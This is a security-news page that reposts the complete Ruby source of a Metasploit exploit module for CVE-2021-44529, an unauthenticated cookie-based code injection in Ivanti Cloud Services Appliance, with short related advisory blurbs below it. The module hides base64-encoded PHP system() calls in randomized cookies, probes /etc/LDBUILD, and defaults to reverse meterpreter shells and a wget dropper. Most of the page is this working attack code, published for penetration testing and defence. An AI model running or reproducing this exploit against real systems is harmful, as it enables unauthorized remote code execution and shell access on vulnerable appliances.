Security
Headlines
HeadlinesLatestCVEs

Headline

Ivanti Cloud Services Appliance (CSA) Command Injection

This Metasploit module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA) for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the Cloud Services Appliance before 4.6.0-512 allows an unauthenticated user to execute arbitrary code with limited permissions. Successful exploitation results in command execution as the nobody user.

Packet Storm
#vulnerability#linux#js#git#php#rce#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection',        'Description' => %q{          This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)          for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the          Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to          execute arbitrary code with limited permissions. Successful exploitation results          in command execution as the `nobody` user.        },        'License' => MSF_LICENSE,        'Author' => [          'Jakub Kramarz', # Discovery          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor        ],        'References' => [          ['CVE', '2021-44529'],          ['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'],          ['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'],          ['EDB', '50833'],          ['PACKETSTORM', '166383']        ],        'DisclosureDate' => '2021-12-02',        'Platform' => ['unix', 'linux', 'php'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP],        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http'              }            }          ],          [            'PHP Command',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'Type' => :php_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'printf', 'echo'],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter_reverse_http'              }            }          ]        ],        'Payload' => {          'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things.        },        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )  end  # Randomize the cookie pairs for the request.  def randomize_cookie(payload)    # Number of cookie pairs should be at least 4, and the first cookie pair should    # always have the value 'ab'. Note that the Nth cookie in the request, where    # N=no_of_cookies-2, should contain the payload.    #    # example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=;    # example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=;    no_of_cookies = rand(4..8)    cookie_name = Rex::Text.rand_text_alphanumeric(1..8)    payload_cookie_number = (no_of_cookies - 2)    random_cookie = "#{cookie_name}=ab;"    for cookie_no in 2..no_of_cookies do      cookie_name = Rex::Text.rand_text_alphanumeric(1..8)      if cookie_no == payload_cookie_number        random_cookie << "#{cookie_name}=#{payload};"      else        random_cookie << "#{cookie_name}=;"      end    end    return random_cookie  end  def check_vuln    # check RCE by grabbing CSA version banner stored on /etc/LDBUILD    payload = Base64.strict_encode64('readfile("/etc/LDBUILD");')    cookie_payload = randomize_cookie(payload)    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),      'cookie' => cookie_payload.to_s    })  rescue StandardError => e    elog("#{peer} - Communication error occurred: #{e.message}", error: e)    return nil  end  def execute_command(cmd, _opts = {})    case target['Type']    when :unix_cmd      payload = Base64.strict_encode64("system(\"#{cmd}\");")    when :php_cmd      payload = Base64.strict_encode64(cmd.to_s)    when :linux_dropper      payload = Base64.strict_encode64("system(\"#{cmd}\");")    end    cookie_payload = randomize_cookie(payload)    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),      'cookie' => cookie_payload.to_s    })  rescue StandardError => e    elog("#{peer} - Communication error occurred: #{e.message}", error: e)    fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")  end  def check    print_status("Checking if #{peer} can be exploited.")    res = check_vuln    return CheckCode::Unknown('No response received from the target.') unless res    return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/    begin      parsed_html = Nokogiri::HTML.parse(res.body)    rescue Nokogiri::SyntaxError => e      return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")    end    csa_version = parsed_html.at_css('c123')    if csa_version&.text&.blank?      CheckCode::Vulnerable('Could not retrieve version.')    else      CheckCode::Vulnerable("Version: #{csa_version.text}")    end  end  def exploit    case target['Type']    when :unix_cmd      print_status("Executing #{target.name} with #{payload.encoded}")      execute_command(payload.encoded)    when :php_cmd      print_status("Executing #{target.name} with #{payload.encoded}")      execute_command(payload.encoded)    when :linux_dropper      print_status("Executing #{target.name}")      execute_cmdstager(linemax: 262144)    end  endend

Related news

CVE-2023-0599: Metasploit Release Notes

Rapid7 Metasploit Pro versions 4.21.2 and lower suffer from a stored cross site scripting vulnerability, due to a lack of JavaScript request string sanitization. Using this vulnerability, an authenticated attacker can execute arbitrary HTML and script code in the target browser against another Metasploit Pro user using a specially crafted request. Note that in most deployments, all Metasploit Pro users tend to enjoy privileges equivalent to local administrator.

CVE-2021-44529: Ivanti Community

A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution